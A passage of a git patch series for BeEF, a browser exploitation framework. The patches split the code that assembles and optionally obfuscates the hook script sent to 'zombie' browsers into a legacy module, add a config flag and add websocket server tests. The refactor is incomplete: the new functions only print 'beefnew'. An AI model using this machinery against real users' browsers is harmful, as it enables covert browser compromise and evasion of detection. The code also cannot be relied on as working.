function(e) { alert("[open] Connection established"); alert("Sending to server"); socket.send("My name is John");}; -socket.onmessage = function(event) { alert(`[message] Data received from server: ${event.data}`);}; -socket.onclose = function(event) { if (event.wasClean) { alert(`[close] Connection closed cleanly, code=${event.code} reason=${event.reason}`); } else { // e.g. server process killed or network down // event.code is usually 1006 in this case alert('[close] Connection died'); }}; -socket.onerror = function(error) { alert(`[error] ${error.message}`);}; -} - - - }); From 419789baf59266b630926a4665cdcff764c25167 Mon Sep 17 00:00:00 2001 From: aaron <aaron@alcorngroup.com> Date: Fri, 3 Apr 2020 13:22:47 +1000 Subject: [PATCH 14/18] Finished legacy pivot --- core/main/handlers/modules/beefjs.rb | 49 ++++++---------------------- 1 file changed, 10 insertions(+), 39 deletions(-) diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 7ee67a271..a4e5699de 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -17,7 +17,7 @@ module BeEF # @param [Object] req_host The request object def build_beefjs!(req_host) if config.get("beef.testif.enable") - + print("beefnew") else legacy_build_beefjs!(req_host) end @@ -27,50 +27,21 @@ module BeEF # @param [String] component Name of component # @return [String|Boolean] Returns false if path was not found, otherwise returns component path def find_beefjs_component_path(component) - component_path = component - component_path.gsub!(/beef./, '') - component_path.gsub!(/\./, '/') - component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" - - return false if not File.exists? component_path - - component_path + if config.get("beef.testif.enable") + print("beefnew") + else + legacy_find_beefjs_component_path(component) + end end # Builds missing beefjs components. # @param [Array] beefjs_components An array of component names def build_missing_beefjs_components(beefjs_components) - # @note verifies that @beef_js_cmps is not nil to avoid bugs - @beef_js_cmps = '' if @beef_js_cmps.nil? - - if beefjs_components.is_a? String - beefjs_components_path = find_beefjs_component_path(beefjs_components) - raise "Invalid component: could not build the beefjs file" if not beefjs_components_path - beefjs_components = {beefjs_components => beefjs_components_path} + if config.get("beef.testif.enable") + print("beefnew") + else + build_missing_beefjs_components(beefjs_components) end - - beefjs_components.keys.each { |k| - next if @beef_js_cmps.include? beefjs_components[k] - - # @note path to the component - component_path = beefjs_components[k] - - # @note we output the component to the hooked browser - config = BeEF::Core::Configuration.instance - if config.get("beef.extension.evasion.enable") - evasion = BeEF::Extension::Evasion::Evasion.instance - @body << evasion.obfuscate(File.read(component_path) + "\n\n") - else - @body << File.read(component_path) + "\n\n" - end - - # @note finally we add the component to the list of components already generated so it does not get generated numerous times. - if @beef_js_cmps.eql? '' - @beef_js_cmps = component_path - else - @beef_js_cmps += ",#{component_path}" - end - } end end end From f8367487185251e8227d2023242993ef860ea9e0 Mon Sep 17 00:00:00 2001 From: aaron <aaron@alcorngroup.com> Date: Fri, 3 Apr 2020 13:22:56 +1000 Subject: [PATCH 15/18] Finished legacy pivot --- core/main/handlers/modules/legacybeefjs.rb | 186 +++++++++++++++++++++ 1 file changed, 186 insertions(+) create mode 100644 core/main/handlers/modules/legacybeefjs.rb diff --git a/core/main/handlers/modules/legacybeefjs.rb b/core/main/handlers/modules/legacybeefjs.rb new file mode 100644 index 000000000..f291471c5 --- /dev/null +++ b/core/main/handlers/modules/legacybeefjs.rb @@ -0,0 +1,186 @@ +# +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF + module Core + module Handlers + module Modules + + # @note Purpose: avoid rewriting several times the same code. + module BeEFJS + + # Builds the default beefjs library (all default components of the library). + # @param [Object] req_host The request object + def build_beefjs!(req_host) + config = BeEF::Core::Configuration.instance + # @note set up values required to construct beefjs + beef_js = '' + # @note location of sub files + beef_js_path = "#{$root_dir}/core/main/client/" + + # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated + ext_js_sub_files = %w(lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js) + + # @note BeEF libraries: need Eruby evaluation and obfuscation + beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js) + # @note Load websocket library only if WS server is enabled in config.yaml + if config.get("beef.http.websocket.enable") == true + beef_js_sub_files << "websocket.js" + end + # @note Load webrtc library only if WebRTC extension is enabled + if config.get("beef.extension.webrtc.enable") == true + beef_js_sub_files << "lib/webrtcadapter.js" + beef_js_sub_files << "webrtc.js" + end + + # @note antisnatchor: leave timeout.js as the last one! + beef_js_sub_files << "timeout.js" + + ext_js_to_obfuscate = '' + ext_js_to_not_obfuscate = '' + + # @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate + # @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate + ext_js_sub_files.each { |ext_js_sub_file| + if config.get("beef.extension.evasion.enable") + if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file) + print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list" + # do not obfuscate the file + ext_js_sub_file_path = beef_js_path + ext_js_sub_file + ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + else + ext_js_sub_file_path = beef_js_path + ext_js_sub_file + ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + end + else + # Evasion is not enabled, do not obfuscate anything + ext_js_sub_file_path = beef_js_path + ext_js_sub_file + ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + end + } + + # @note construct the beef_js string from file(s) + beef_js_sub_files.each { |beef_js_sub_file| + beef_js_sub_file_path = beef_js_path + beef_js_sub_file + beef_js << (File.read(beef_js_sub_file_path) + "\n\n") + } + + # @note create the config for the hooked browser session + hook_session_config = BeEF::Core::Server.instance.to_h + + # @note if http_host="0.0.0.0" in config ini, use the host requested by client + unless hook_session_config['beef_public'].nil? + if hook_session_config['beef_host'] != hook_session_config['beef_public'] + hook_session_config['beef_host'] = hook_session_config['beef_public'] + hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public']) + end + end + if hook_session_config['beef_host'].eql? "0.0.0.0" + hook_session_config['beef_host'] = req_host + hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) + end + + # @note set the XHR-polling timeout + hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout") + + # @note set the hook file path and BeEF's cookie name + hook_session_config['hook_file'] = config.get("beef.http.hook_file") + hook_session_config['hook_session_name'] = config.get("beef.http.hook_session_name") + + # @note if http_port <> public_port in config ini, use the public_port + unless hook_session_config['beef_public_port'].nil? + if hook_session_config['beef_port'] != hook_session_config['beef_public_port'] + hook_session_config['beef_port'] = hook_session_config['beef_public_port'] + hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) + if hook_session_config['beef_public_port'] == '443' + hook_session_config['beef_url'].sub!(/http:/, 'https:') + end + end + end + + # @note Set some WebSocket properties + if config.get("beef.http.websocket.enable") + hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") + hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") + hook_session_config['ws_poll_timeout'] = config.get("beef.http.websocket.ws_poll_timeout") + hook_session_config['ws_connect_timeout'] = config.get("beef.http.websocket.ws_connect_timeout") + hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port") + end + + # @note Set if PhishingFrenzy integration is enabled + if config.get("beef.integration.phishing_frenzy.enable") + hook_session_config['phishing_frenzy_enable'] = config.get("beef.integration.phishing_frenzy.enable") + end + + # @note populate place holders in the beef_js string and set the response body + eruby = Erubis::FastEruby.new(beef_js) + @hook = eruby.evaluate(hook_session_config) + + if config.get("beef.extension.evasion.enable") + evasion = BeEF::Extension::Evasion::Evasion.instance + @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook) + else + @final_hook = ext_js_to_not_obfuscate + @hook + end + + # @note Return the final hook to be sent to the browser + @body << @final_hook + + end + + # Finds the path to js components + # @param [String] component Name of component + # @return [String|Boolean] Returns false if path was not found, otherwise returns component path + def find_beefjs_component_path(component) + component_path = component + component_path.gsub!(/beef./, '') + component_path.gsub!(/\./, '/') + component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" + + return false if not File.exists? component_path + + component_path + end + + # Builds missing beefjs components. + # @param [Array] beefjs_components An array of component names + def build_missing_beefjs_components(beefjs_components) + # @note verifies that @beef_js_cmps is not nil to avoid bugs + @beef_js_cmps = '' if @beef_js_cmps.nil? + + if beefjs_components.is_a? String + beefjs_components_path = find_beefjs_component_path(beefjs_components) + raise "Invalid component: could not build the beefjs file" if not beefjs_components_path + beefjs_components = {beefjs_components => beefjs_components_path} + end + + beefjs_components.keys.each { |k| + next if @beef_js_cmps.include? beefjs_components[k] + + # @note path to the component + component_path = beefjs_components[k] + + # @note we output the component to the hooked browser + config = BeEF::Core::Configuration.instance + if config.get("beef.extension.evasion.enable") + evasion = BeEF::Extension::Evasion::Evasion.instance + @body << evasion.obfuscate(File.read(component_path) + "\n\n") + else + @body << File.read(component_path) + "\n\n" + end + + # @note finally we add the component to the list of components already generated so it does not get generated numerous times. + if @beef_js_cmps.eql? '' + @beef_js_cmps = component_path + else + @beef_js_cmps += ",#{component_path}" + end + } + end + end + end + end + end +end From 3f59aa2d9c86bf5c75a3c4a8a6dd07a0c5bc1383 Mon Sep 17 00:00:00 2001 From: aaron <aaron@alcorngroup.com> Date: Fri, 3 Apr 2020 13:52:08 +1000 Subject: [PATCH 16/18] Legacy beef not working :( --- config.yaml | 3 +++ core/main/handlers/hookedbrowsers.rb | 24 +++++++++++----------- core/main/handlers/modules/beefjs.rb | 19 ++++++++++------- core/main/handlers/modules/legacybeefjs.rb | 8 ++++---- 4 files changed, 31 insertions(+), 23 deletions(-) diff --git a/config.yaml b/config.yaml index 269bb7bac..035adba68 100644 --- a/config.yaml +++ b/config.yaml @@ -14,6 +14,9 @@ beef: # Used for generating secure tokens crypto_default_value_length: 80 + # Testif variable + testif: false + # Credentials to authenticate in BeEF. # Used by both the RESTful API and the Admin interface credentials: diff --git a/core/main/handlers/hookedbrowsers.rb b/core/main/handlers/hookedbrowsers.rb index a2621087d..3f2118b9b 100644 --- a/core/main/handlers/hookedbrowsers.rb +++ b/core/main/handlers/hookedbrowsers.rb @@ -6,11 +6,11 @@ module BeEF module Core module Handlers - + # @note This class handles connections from hooked browsers to the framework. class HookedBrowsers < BeEF::Core::Router::Router - + include BeEF::Core::Handlers::Modules::BeEFJS include BeEF::Core::Handlers::Modules::Command @@ -18,7 +18,7 @@ module Handlers configure do disable :protection end - + # Process HTTP requests sent by a hooked browser to the framework. # It will update the database to add or update the current hooked browser # and deploy some command modules or extensions to the hooked browser. @@ -27,7 +27,7 @@ module Handlers params = request.query_string #@response = Rack::Response.new(body=[], 200, header={}) config = BeEF::Core::Configuration.instance - + # @note check source ip address of browser permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet') if permitted_hooking_subnet.nil? || permitted_hooking_subnet.empty? @@ -56,15 +56,15 @@ module Handlers end # @note is a new browser so return instructions to set up the hook - if not hooked_browser - + if not hooked_browser + # @note generate the instructions to hook the browser host_name = request.host (print_error "Invalid host name";return) if not BeEF::Filters.is_valid_hostname?(host_name) build_beefjs!(host_name) - # @note is a known browser so send instructions - else + # @note is a known browser so send instructions + else # @note Check if we haven't seen this browser for a while, log an event if we haven't if (Time.new.to_i - hooked_browser.lastseen.to_i) > 60 BeEF::Core::Logger.instance.register('Zombie',"#{hooked_browser.ip} appears to have come back online","#{hooked_browser.id}") @@ -72,7 +72,7 @@ module Handlers # @note record the last poll from the browser hooked_browser.lastseen = Time.new.to_i - + # @note Check for a change in zombie IP and log an event if config.get('beef.http.use_x_forward_for') == true if hooked_browser.ip != request.env["HTTP_X_FORWARDED_FOR"] @@ -85,10 +85,10 @@ module Handlers hooked_browser.ip = request.ip end end - + hooked_browser.count! hooked_browser.save! - + # @note add all available command module instructions to the response zombie_commands = BeEF::Core::Models::Command.where(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) zombie_commands.each{|command| add_command_instructions(command, hooked_browser)} @@ -114,7 +114,7 @@ module Handlers @body end end - + end end end diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index a4e5699de..87e2969d6 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -11,15 +11,16 @@ module BeEF # @note Purpose: avoid rewriting several times the same code. module BeEFJS - include BeEF::Core::Handlers::Modules::legacyBeEFJS # Builds the default beefjs library (all default components of the library). # @param [Object] req_host The request object def build_beefjs!(req_host) - if config.get("beef.testif.enable") + config = BeEF::Core::Configuration.instance + if config.get("beef.testif") print("beefnew") else - legacy_build_beefjs!(req_host) + legacy = BeEF::Core::Handlers::Modules::LegacyBeEFJS + legacy.legacy_build_beefjs!(req_host) end end @@ -27,20 +28,24 @@ module BeEF # @param [String] component Name of component # @return [String|Boolean] Returns false if path was not found, otherwise returns component path def find_beefjs_component_path(component) - if config.get("beef.testif.enable") + config = BeEF::Core::Configuration.instance + if config.get("beef.testif") print("beefnew") else - legacy_find_beefjs_component_path(component) + legacy = BeEF::Core::Handlers::Modules::LegacyBeEFJS + legacy.legacy_find_beefjs_component_path(component) end end # Builds missing beefjs components. # @param [Array] beefjs_components An array of component names def build_missing_beefjs_components(beefjs_components) - if config.get("beef.testif.enable") + config = BeEF::Core::Configuration.instance + if config.get("beef.testif") print("beefnew") else - build_missing_beefjs_components(beefjs_components) + legacy = BeEF::Core::Handlers::Modules::LegacyBeEFJS + legacy.legacy_build_missing_beefjs_components(beefjs_components) end end end diff --git a/core/main/handlers/modules/legacybeefjs.rb b/core/main/handlers/modules/legacybeefjs.rb index f291471c5..b570c5645 100644 --- a/core/main/handlers/modules/legacybeefjs.rb +++ b/core/main/handlers/modules/legacybeefjs.rb @@ -9,11 +9,11 @@ module BeEF module Modules # @note Purpose: avoid rewriting several times the same code. - module BeEFJS + module LegacyBeEFJS # Builds the default beefjs library (all default components of the library). # @param [Object] req_host The request object - def build_beefjs!(req_host) + def legacy_build_beefjs!(req_host) config = BeEF::Core::Configuration.instance # @note set up values required to construct beefjs beef_js = '' @@ -133,7 +133,7 @@ module BeEF # Finds the path to js components # @param [String] component Name of component # @return [String|Boolean] Returns false if path was not found, otherwise returns component path - def find_beefjs_component_path(component) + def legacy_find_beefjs_component_path(component) component_path = component component_path.gsub!(/beef./, '') component_path.gsub!(/\./, '/') @@ -146,7 +146,7 @@ module BeEF # Builds missing beefjs components. # @param [Array] beefjs_components An array of component names - def build_missing_beefjs_components(beefjs_components) + def legacy_build_missing_beefjs_components(beefjs_components) # @note verifies that @beef_js_cmps is not nil to avoid bugs @beef_js_cmps = '' if @beef_js_cmps.nil? From 93ed26d10f675659aa7e8c8db0639d11b3001d9e Mon Sep 17 00:00:00 2001 From: aaron <aaron@alcorngroup.com> Date: Fri, 3 Apr 2020 14:37:48 +1000 Subject: [PATCH 17/18] Moved failed beefJS split into hooked instead of into BeEFJS --- config.yaml | 2 +- core/bootstrap.rb | 1 + core/main/handlers/hookedbrowsers.rb | 8 ++++++-- core/main/handlers/modules/beefjs.rb | 25 ++++--------------------- 4 files changed, 12 insertions(+), 24 deletions(-) diff --git a/config.yaml b/config.yaml index 035adba68..9089a6cf5 100644 --- a/config.yaml +++ b/config.yaml @@ -15,7 +15,7 @@ beef: crypto_default_value_length: 80 # Testif variable - testif: false + testif: true # Credentials to authenticate in BeEF. # Used by both the RESTful API and the Admin interface diff --git a/core/bootstrap.rb b/core/bootstrap.rb index 46bc79ab0..c93f98eba 100644 --- a/core/bootstrap.rb +++ b/core/bootstrap.rb @@ -18,6 +18,7 @@ require 'core/main/router/error_responses' ## @note Include http server functions for beef require 'core/main/server' require 'core/main/handlers/modules/beefjs' +require 'core/main/handlers/modules/legacybeefjs' require 'core/main/handlers/modules/command' require 'core/main/handlers/commands' require 'core/main/handlers/hookedbrowsers' diff --git a/core/main/handlers/hookedbrowsers.rb b/core/main/handlers/hookedbrowsers.rb index 3f2118b9b..22178904a 100644 --- a/core/main/handlers/hookedbrowsers.rb +++ b/core/main/handlers/hookedbrowsers.rb @@ -12,6 +12,7 @@ module Handlers include BeEF::Core::Handlers::Modules::BeEFJS + include BeEF::Core::Handlers::Modules::LegacyBeEFJS include BeEF::Core::Handlers::Modules::Command #antisnatchor: we don't want to have anti-xss/anti-framing headers in the HTTP response for the hook file. @@ -61,8 +62,11 @@ module Handlers # @note generate the instructions to hook the browser host_name = request.host (print_error "Invalid host name";return) if not BeEF::Filters.is_valid_hostname?(host_name) - build_beefjs!(host_name) - + if config.get("beef.testif") + build_beefjs!(host_name) + else + legacy_build_beefjs!(host_name) + end # @note is a known browser so send instructions else # @note Check if we haven't seen this browser for a while, log an event if we haven't diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 87e2969d6..d898d2133 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -11,42 +11,25 @@ module BeEF # @note Purpose: avoid rewriting several times the same code. module BeEFJS - # Builds the default beefjs library (all default components of the library). # @param [Object] req_host The request object def build_beefjs!(req_host) - config = BeEF::Core::Configuration.instance - if config.get("beef.testif") - print("beefnew") - else - legacy = BeEF::Core::Handlers::Modules::LegacyBeEFJS - legacy.legacy_build_beefjs!(req_host) - end + + print("beefnew") + end # Finds the path to js components # @param [String] component Name of component # @return [String|Boolean] Returns false if path was not found, otherwise returns component path def find_beefjs_component_path(component) - config = BeEF::Core::Configuration.instance - if config.get("beef.testif") - print("beefnew") - else - legacy = BeEF::Core::Handlers::Modules::LegacyBeEFJS - legacy.legacy_find_beefjs_component_path(component) - end + print("beefnew") end # Builds missing beefjs components. # @param [Array] beefjs_components An array of component names def build_missing_beefjs_components(beefjs_components) - config = BeEF::Core::Configuration.instance - if config.get("beef.testif") print("beefnew") - else - legacy = BeEF::Core::Handlers::Modules::LegacyBeEFJS - legacy.legacy_build_missing_beefjs_components(beefjs_components) - end end end end From 60a0ca0807e30688b4823cae18bcb48791536d46 Mon Sep 17 00:00:00 2001 From: nomad <jake@hookshot.com.au> Date: Fri, 3 Apr 2020 14:58:39 +1000 Subject: [PATCH 18/18] Added basic websocket tests --- .bundle/config | 4 +-- Gemfile | 1 + spec/beef/extensions/websocket_spec.rb | 35 ++++++++++++++++++++++++++ 3 files changed, 38 insertions(+), 2 deletions(-) create mode 100644 spec/beef/extensions/websocket_spec.rb diff --git a/.bundle/config b/.bundle/config index e540b5346..e7db70bb4 100644 --- a/.bundle/config +++ b/.bundle/config @@ -1,3 +1,3 @@ --- -BUNDLE_WITHOUT: "test:development" -BUNDLE_WITH: "tests" +BUNDLE_WITHOUT: "development" +BUNDLE_WITH: "test:tests" diff --git a/Gemfile b/Gemfile index 3096ae9e9..0117ced97 100644 --- a/Gemfile +++ b/Gemfile @@ -81,6 +81,7 @@ group :test do gem 'rest-client', '>= 2.0.1' gem 'irb' gem 'pry-byebug' + gem 'em-websocket-client' end source 'https://rubygems.org' diff --git a/spec/beef/extensions/websocket_spec.rb b/spec/beef/extensions/websocket_spec.rb new file mode 100644 index 000000000..5111a9418 --- /dev/null +++ b/spec/beef/extensions/websocket_spec.rb @@ -0,0 +1,35 @@ +require 'rest-client' +require 'core/main/network_stack/websocket/websocket' +require 'em-websocket-client' + +RSpec.describe 'BeEF Extension WebSockets' do + + before(:all) do + @config = BeEF::Core::Configuration.instance + @cert_key = @config.get('beef.http.https.key') + @cert = @config.get('beef.http.https.cert') + @port = @config.get('beef.http.websocket.port') + @secure_port = @config.get('beef.http.websocket.secure_port') + end + + it 'Create Websocket Server' do + ws = BeEF::Core::Websocket::Websocket.instance + server= ws.start_websocket_server(:host => '127.0.0.1', + :port => @port , + :secure => false) + expect(server).to be_a_kind_of(Thread) + end + + it 'Create Websocket Secure Server' do + ws = BeEF::Core::Websocket::Websocket.instance + server= ws.start_websocket_server(:host => '127.0.0.1', + :port => @secure_port , + :secure => true, + :tls_options => { + :cert_chain_file => @cert, + :private_key_file => @cert_key + }) + expect(server).to be_a_kind_of(Thread) + end + +end